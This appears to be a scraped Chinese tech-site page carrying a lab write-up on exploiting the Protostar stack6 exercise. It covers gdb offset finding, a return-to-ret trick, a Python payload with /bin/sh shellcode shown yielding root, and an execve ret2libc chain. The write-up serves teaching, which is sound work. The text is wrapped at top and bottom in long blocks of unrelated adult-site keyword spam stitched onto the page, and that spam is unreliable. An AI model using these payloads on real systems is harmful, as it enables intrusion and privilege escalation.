精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Linux使用ROP進行棧溢出攻擊

安全 黑客攻防
通過Protostar stack6演示Linux下ROP的簡單使用,ROP就是所謂的Return Orientated Programming,早期也叫ret2libc。

通過Protostar stack6演示Linux下ROP的簡單使用,ROP就是所謂的Return Orientated Programming,早期也叫ret2libc。

一、__builtin_return_address函數

先介紹下__builtin_return_address這個函數,這個函數接收一個參數,可以是0,1,2等。__builtin_return_address(0)返回當前函數的返回地址,如果參數增大1,那么就往上走一層獲取返回地址。Windows下好像也有個類似的函數,不過具體叫什么忘記了。看一個例子就知道這個函數的用處了:

  1. #include <stdio.h>  
  2. #include <string.h>  
  3. #include <stdlib.h>  
  4. #include <unistd.h>  
  5.    
  6. void foo()  
  7. {  
  8.     printf("in foo()\n");  
  9.     printf("Foo: __builtin_return_address(0) = 0x%08X\n",  
  10.         __builtin_return_address(0));  
  11.     printf("Foo: __builtin_return_address(1) = 0x%08X\n",  
  12.         __builtin_return_address(1));  
  13.     bar();  
  14. }  
  15.    
  16. void bar()  
  17. {  
  18.     printf("in bar()\n");  
  19.     printf("Bar: __builtin_return_address(0) = 0x%08X\n",  
  20.         __builtin_return_address(0));  
  21.     printf("Bar: __builtin_return_address(1) = 0x%08X\n",  
  22.         __builtin_return_address(1));  
  23. }  
  24.    
  25. int main(int argc, char **argv)  
  26. {  
  27.     foo();  
  28.    
  29.     return 0;  
  30. }  

編譯之后用gdb調試,情況如下:

Linux使用ROP進行棧溢出攻擊

foo中調用__builtin_return_address(1)得到的結果就是main函數執行完之后的返回地址。#p#

二、直接在棧上執行Shellcode

題目的源代碼如下:

  1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.    
  6. void getpath()  
  7. {  
  8.     char buffer[64];  
  9.     unsigned int ret;  
  10.    
  11.     printf("input path please: "); fflush(stdout);  
  12.     gets(buffer);  
  13.     ret = __builtin_return_address(0);  
  14.    
  15.     if((ret & 0xbf000000) == 0xbf000000) {  
  16.         printf("bzzzt (%p)\n", ret);  
  17.         _exit(1);  
  18.     }  
  19.    
  20.     printf("got path %s\n", buffer);  
  21. }  
  22.    
  23. int main(int argc, char **argv)  
  24. {  
  25.     getpath();  
  26. }  

可以看出buffer是可以溢出的,但是后面對返回地址有一個校驗,即最高位不能是0xBF,而棧的地址的最高位就是0xBF,所以不能直接跳轉到棧上面去執行Shellcode,但是我們可以通過.text中的一條ret指令作為跳轉。首先需要測試返回地址的覆蓋字段位于輸入數據中的位置:

  1. python -c "print 'A'*80+'B'*4" > data.txt  
  2. gdb stack6  
  3. disas getpath  
  4. b *0x080484b8   #在這里返回地址放到了eax中  
  5. r < data.txt  
  6. info registers eax 

看到eax剛好為0×42424242,也就是返回地址被覆蓋成了0×42424242。現在需要一條ret指令,可以直接取main函數的最后一條指令,通過disas main可以查看到地址為0×08048508。如果我們把返回地址覆蓋為0×08048508,那么從getpath返回后就跑去0×08048508這個地址去執行了,而這里又是一條返回地址,那么我們可以在棧上放一個指向Shellcode的地址。

現在需要知道buffer的地址,在gets調用處下斷點:

  1. disas getpath  
  2. b *0x080484aa  #這里調用gets  
  3. info registers eax 

得到buffer的地址為0xBFFFFCCC。buffer的起始地址知道了,我們就可以知道Shellcode的位置了:

0xBFFFFCCC + 80 + 4 + 4 = 0xBFFFFD24。

下面是數據的布局:

Linux使用ROP進行棧溢出攻擊

用Python生成這段數據,并當做stack6程序的輸入數據:

python -c "print 'A'*80 + '\x08\x85\x04\x08' + '\x24\xFD\xFF\xBF' + 
'\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31
\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin
\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > data.txt
 
gdb stack6
r < data.txt
 
whoami
root

#p#

三、使用ROP技術

其實上面跳轉到main函數的最后一條ret指令的方法就是使用了ROP的思想了,不過現在假設棧沒有可執行屬性,那么上面的方法就不行了。我們可以考慮使用execve(“/bin/sh”, 0, 0) 執行shell。為此,需要先找到execve的地址,gdb下輸入如下命令:

  1. print execve #為0xb7f2e170  
  2. print exit   #為0xb7ec60c0 

通過x /1000s $esp查找/bin/sh字符串,在0xbffffefb發現字符串”SHELL=/bin/bash”,我們需要的地址為0xbffffefb+6=0xBFFFFF01。當然也可以在輸入的時候直接傳入字符串,不過需要控制字符串結束符,gets又不能讀(讀入的是0x0D,不是0×00),額外處理為很麻煩。上面的查找方法是查找進程中的環境變量字符串實現的。同時我們也能找到指向0×00000000的指針,如0xBFFFFD6A,往execve的第二個第三個參數傳入這樣的指針也是可以的。

Linux使用ROP進行棧溢出攻擊

現在我們的數據布局如下:

Linux使用ROP進行棧溢出攻擊

execve調用之后是不會返回的,所以填充的那個exit的地址也可以是其他的不帶NULL的數據,按我所想象的,這樣之后就可以了。

  1. python -c "print 'A'*80 + '\x08\x85\x04\x08' + '\x70\xE1\xF2\xB7' + 
  2. '\xC0\x60\xEC\xB7' + '\x01\xFF\xFF\xBF' + '\x6A\xFD\xFF\xBF' +
  3.  '\x6A\xFD\xFF\xBF'" > data.txt  
  4.    
  5. gdb stack6  
  6. r < data.txt  

不過這里在gdb中看到,/bin/bash執行后立刻就退出了,這個估計是使用execve的方式不對,ROP思路本身是沒有問題的,下次分析下第一種方法中的Shellcode,就知道怎么用了。

四、 gdb調試學習

反匯編指定區域的數據:disas /r 0x0804a000 0x0804b000

查看函數地址:print execve

修改內存數據:set *((char*)0x0804aabb=0×00 選擇對應的type即可

將文件數據作為輸入:run < 文件路徑

將shell命令輸出作為命令行參數:run $(python -c "print 'A'*100")

責任編輯:藍雨淚 來源: 程序人生博客
相關推薦

2017-03-14 15:37:28

2012-11-26 10:53:03

2022-01-24 07:35:39

XLL網絡攻擊惡意軟件

2019-01-11 09:00:00

2021-08-30 07:57:26

OpenAttack文本對抗攻擊

2009-05-13 09:21:48

2009-09-24 18:29:12

2022-02-22 09:33:38

LIFO數據結構

2014-07-30 11:21:46

2021-03-04 11:02:07

勒索軟件Nefilim幽靈賬戶

2019-03-06 09:00:38

ASLRLinux命令

2009-09-24 18:16:40

2023-04-20 14:58:54

2009-10-12 14:21:44

2023-05-15 15:59:07

2011-02-28 09:34:55

2022-05-04 11:10:58

Linuxdnf 命令

2022-05-07 11:08:50

Linuxapt 命令

2023-12-19 16:31:19

2021-05-04 21:03:39

惡意軟件勒索軟件網絡攻擊
點贊
收藏

51CTO技術棧公眾號

中文在线a天堂| 日韩一级免费看| jizz国产在线| 国产精品精品| 精品国产91久久久久久久妲己| 免费在线看黄色片| 国产一二在线观看| 国产真实乱偷精品视频免| 久久人人爽人人爽人人片av高清| 爱爱免费小视频| 不卡一区视频| 欧美性猛交xxxx乱大交3| 亚洲永久一区二区三区在线| 欧美一区二区三区黄片| 麻豆精品一区二区三区| 国模私拍一区二区三区| 男女全黄做爰文章| 小嫩嫩12欧美| 日韩一二三区视频| 欧美日韩在线成人| h片在线观看| 国产精品进线69影院| 国产精品区一区二区三在线播放| 国产精品国产精品国产| 在线亚洲欧美| 欧美日韩999| 国产又黄又粗视频| 日本精品影院| 欧美xfplay| 爱爱爱爱免费视频| 电影亚洲精品噜噜在线观看| 亚洲午夜日本在线观看| 最新av在线免费观看| 成a人片在线观看www视频| 成人亚洲一区二区一| 91精品综合视频| 日韩一区不卡| 波多野结衣电影免费观看| 视频在线日韩| 欧美日韩一区二区三区| www.xxx麻豆| 超碰在线网址| 国产精品国产a级| 亚洲国产一区二区三区在线| 日本在线丨区| 99re在线精品| 国产无套精品一区二区| 成人精品在线播放| 国产精品538一区二区在线| 国产日韩中文字幕| 中文在线观看免费高清| 日日夜夜精品免费视频| 全亚洲最色的网站在线观看| 性无码专区无码| 国产视频一区欧美| 欧美性视频精品| 日本特黄特色aaa大片免费| 伊人久久久大香线蕉综合直播| 九九九热精品免费视频观看网站| 成人在线观看高清| 亚洲天天综合| 九九热这里只有在线精品视| 18岁成人毛片| 国内一区二区三区| 欧美激情综合色综合啪啪五月| 九九视频免费在线观看| 国精品一区二区| 久久久久久久久久久久久久久久久久av | 激情影院在线观看| 亚洲欧美日韩小说| www.男人天堂网| 免费污视频在线| 亚洲aⅴ怡春院| 国产精品秘入口18禁麻豆免会员| av有声小说一区二区三区| 欧美亚洲国产bt| 天天综合成人网| 亚洲国产中文在线二区三区免| 精品美女在线观看| 国精产品一区一区三区免费视频| 久久超碰99| 影音先锋久久| 亚洲激情在线观看视频免费| 免费在线观看你懂的| 精品久久91| 久久伊人色综合| 精品一区免费观看| 爽好多水快深点欧美视频| 国产在线a不卡| 亚洲av无码乱码在线观看性色 | 欧美日韩在线不卡| 国产美女视频免费看| 果冻天美麻豆一区二区国产| 亚洲石原莉奈一区二区在线观看| 欧美激情精品久久久久久免费 | 欧美男gay| 久久精品影视伊人网| 国产中文字字幕乱码无限| 天堂va蜜桃一区二区三区| 成人做爽爽免费视频| 五月天激情婷婷| 国产精品久久久久久福利一牛影视| 激情视频小说图片| 视频二区不卡| 精品精品国产高清a毛片牛牛 | 成年人免费在线视频| 亚洲精品成人在线| 九九九在线观看视频| 成人av婷婷| xxx欧美精品| 免费视频久久久| 国产精品自拍一区| 亚洲不卡1区| 污污在线观看| 欧美日韩精品一区二区三区蜜桃| 91玉足脚交白嫩脚丫| 希岛爱理av一区二区三区| 97人人做人人爱| jizz国产视频| 国产精品欧美经典| 国产精品一区二区免费在线观看| 高清一区二区三区av| 亚洲色图五月天| 国产午夜小视频| 国产另类ts人妖一区二区| 亚洲免费av高清| 日韩午夜视频在线观看| h片精品在线观看| 日韩一区二区三区高清免费看看 | 蜜桃tv一区二区三区| 久久久久久九九九| 99国产在线播放| 亚洲国产成人在线| av视屏在线播放| 欧美日韩看看2015永久免费| 欧美激情精品久久久久久大尺度| 亚洲一卡二卡在线观看| 国产欧美日韩麻豆91| 国产成人无码一二三区视频| 日韩av字幕| 久久人人爽人人爽人人片av高请| 精品国产va久久久久久久| 日韩美女视频一区二区| 一道本视频在线观看| 精品国产一区二区三区久久久樱花| 欧美一级在线亚洲天堂| 五月婷婷六月丁香综合| 午夜精品久久久久久久蜜桃app| 2025中文字幕| 亚洲手机在线| 国产乱码一区| yellow在线观看网址| 亚洲成人久久网| 久久精品国产亚洲av香蕉| 国产91在线观看丝袜| 国产91在线亚洲| 亚洲一二av| 久久久综合免费视频| 女人18毛片一区二区三区| 性做久久久久久久免费看| 污污免费在线观看| 国产精品久久久免费| 久久久婷婷一区二区三区不卡| 制服丝袜专区在线| 伊人久久五月天| 97精品久久人人爽人人爽| 中文字幕制服丝袜成人av| 天天干天天色天天干| 亚洲精品成人| 国产一区二区三区黄| 成人免费看黄| 日韩中文有码在线视频| av在线免费在线观看| 亚洲国产视频网站| 日本黄色网址大全| 蜜桃av噜噜一区二区三区小说| 中文字幕av日韩精品| 欧美污视频网站| 人人香蕉久久| 国产精品午夜一区二区欲梦| 污污的网站在线免费观看| 日韩av在线免费观看一区| 成人公开免费视频| 中文字幕日本乱码精品影院| 久久久无码人妻精品无码| 夜夜嗨一区二区三区| 午夜视频久久久| 三级欧美日韩| 日本一区二区不卡| 国产在线看片| 日韩精品极品毛片系列视频| 91精品国自产| 欧美日韩国产一区二区三区| 天堂网中文在线观看| 成人小视频在线观看| 性欧美极品xxxx欧美一区二区| 中文字幕一区二区三区乱码图片 | 青青精品视频播放| 国产在线激情视频| 亚洲欧美精品伊人久久| www.爱爱.com| 欧美视频中文字幕| 国产乱码久久久久久| ...xxx性欧美| 天天躁日日躁aaaxxⅹ | 熟女少妇内射日韩亚洲| 国产一区91精品张津瑜| 成年人在线看片| 亚洲精选在线| 麻豆md0077饥渴少妇| 国产精品欧美在线观看| 成人精品一二区| 欧美在线se| 日本乱人伦a精品| 牛牛在线精品视频| 中文字幕在线视频日韩| 外国精品视频在线观看| 日韩免费性生活视频播放| 中文字幕一区二区免费| 岛国精品视频在线播放| 精品一区二区三区人妻| 综合av第一页| 91精品久久久久久久久久久久| jlzzjlzz国产精品久久| 潘金莲一级淫片aaaaa| 蜜臂av日日欢夜夜爽一区| 黄色一级二级三级| 亚洲自拍另类| 怡红院av亚洲一区二区三区h| 欧美va天堂在线| 艳母动漫在线观看| 色婷婷色综合| 亚洲欧洲韩国日本视频| 韩国av中国字幕| 国产精品亚洲а∨天堂免在线| 亚洲欧美国产中文| 久久精品综合| 青青草原av在线播放| 亚洲深夜av| 黄色一级片播放| 在线亚洲自拍| 成年网站在线免费观看| 中文日韩欧美| 日本韩国欧美在线观看| 99精品视频网| 岳毛多又紧做起爽| 国产精品人人爽人人做我的可爱| 日韩精品 欧美| 国产亚洲一级| 日本熟妇人妻xxxxx| 久久久蜜桃一区二区人| 成人在线观看a| 秋霞午夜鲁丝一区二区老狼| 我要看一级黄色大片| 麻豆成人久久精品二区三区红| 在线黄色免费观看| 激情文学综合插| 免费欧美一级片| 成人午夜激情片| 日韩aaaaa| 久久理论电影网| 999福利视频| 亚洲精品视频在线观看免费| 久久免费黄色网址| 婷婷成人综合网| 久久久久女人精品毛片九一| 在线免费av一区| 国产乱色精品成人免费视频 | 久草在现在线| 中文欧美在线视频| 国产美女在线观看| 欧美高清在线视频观看不卡| 欧美少妇网站| 国产精品高清在线| 国产激情精品一区二区三区| 国产精品区一区| 欧美日韩有码| 久久最新免费视频| 亚洲视频大全| 欧美日韩中文不卡| 国产精品18久久久久久久网站| 波多野结衣视频播放| 国产欧美一区视频| 免费人成年激情视频在线观看| 狠狠躁夜夜躁久久躁别揉| 亚洲午夜在线播放| 欧美成人猛片aaaaaaa| 九九九伊在人线综合| 久久综合五月天| 中文日产幕无线码一区二区| 国产一区私人高清影院| 成人另类视频| 亚洲精品无人区| 国产欧美91| 天堂在线一区二区三区| av激情亚洲男人天堂| 日韩av片在线免费观看| 亚洲国产成人av网| 夜夜嗨av禁果av粉嫩avhd| 亚洲国产精品福利| 亚洲成人三级| 68精品久久久久久欧美| 亚洲在线资源| 欧美日韩无遮挡| 亚洲图片在线| 国产精品自在自线| 久久久久免费观看| 九九热国产在线| 欧美巨大另类极品videosbest| 性xxxxbbbb| 精品少妇v888av| 国产成人77亚洲精品www| 精品国产综合区久久久久久| 99九九热只有国产精品| av免费中文字幕| av一区二区久久| 麻豆影视在线播放| 欧美日韩精品电影| 免费a级毛片在线观看| 久久久久久久97| 亚州一区二区| 日本一区二区免费高清视频| 日本亚洲一区二区| 中国极品少妇videossexhd| 亚洲乱码中文字幕| 91肉色超薄丝袜脚交一区二区| 亚洲欧美中文日韩v在线观看| av免费在线视| 99久热re在线精品996热视频 | 黄页网站在线观看视频| 国产福利91精品一区二区三区| 四虎影院中文字幕| 欧美日韩日本视频| av在线免费一区| 国产精品扒开腿做爽爽爽视频| 亚洲小说图片| av之家在线观看| 91小视频在线| 亚洲欧美自拍视频| 精品亚洲一区二区三区在线播放 | a毛片在线播放| 91久久久久久久久| 97偷自拍亚洲综合二区| 国产成人黄色网址| 国产精品女主播av| 在线观看亚洲一区二区| 色噜噜国产精品视频一区二区 | 精品国产一二三| 久久五月精品中文字幕| 97碰碰视频| 精品1区2区3区4区| 中文字幕a在线观看| 精品动漫一区二区| 噜噜噜在线观看播放视频| 国产精品777| 日韩在线第七页| 亚洲第一色av| 亚洲图片欧美综合| 天堂资源中文在线| 国产成人精品网站| 色呦哟—国产精品| 香蕉网在线视频| 亚洲成av人片一区二区三区| 无码精品在线观看| 欧美孕妇与黑人孕交| 成人羞羞网站入口| theporn国产精品| 亚洲国产视频直播| 欧美日韩伦理片| 91精品国产综合久久香蕉922| 91成人精品视频| 少妇一级淫免费观看| 欧美系列亚洲系列| 黄色大片在线播放| 国产亚洲情侣一区二区无| 久久福利精品| 日韩在线视频网址| 亚洲国产精品资源| 国产精品天堂蜜av在线播放| 少妇熟女一区二区| a级精品国产片在线观看| 国产美女www爽爽爽| 免费成人高清视频| 色婷婷久久久| 日本77777| 精品美女国产在线| 91欧美在线视频| 国产亚洲精品美女久久久m| 青青草成人在线观看| 黄色一级片在线免费观看| 亚洲免费视频观看| 日本精品在线观看| caopor在线视频| 亚洲综合色区另类av| av资源在线观看免费高清| 操人视频欧美| 另类人妖一区二区av| 欧美日韩精品区| xxx欧美精品| 欧美老女人另类|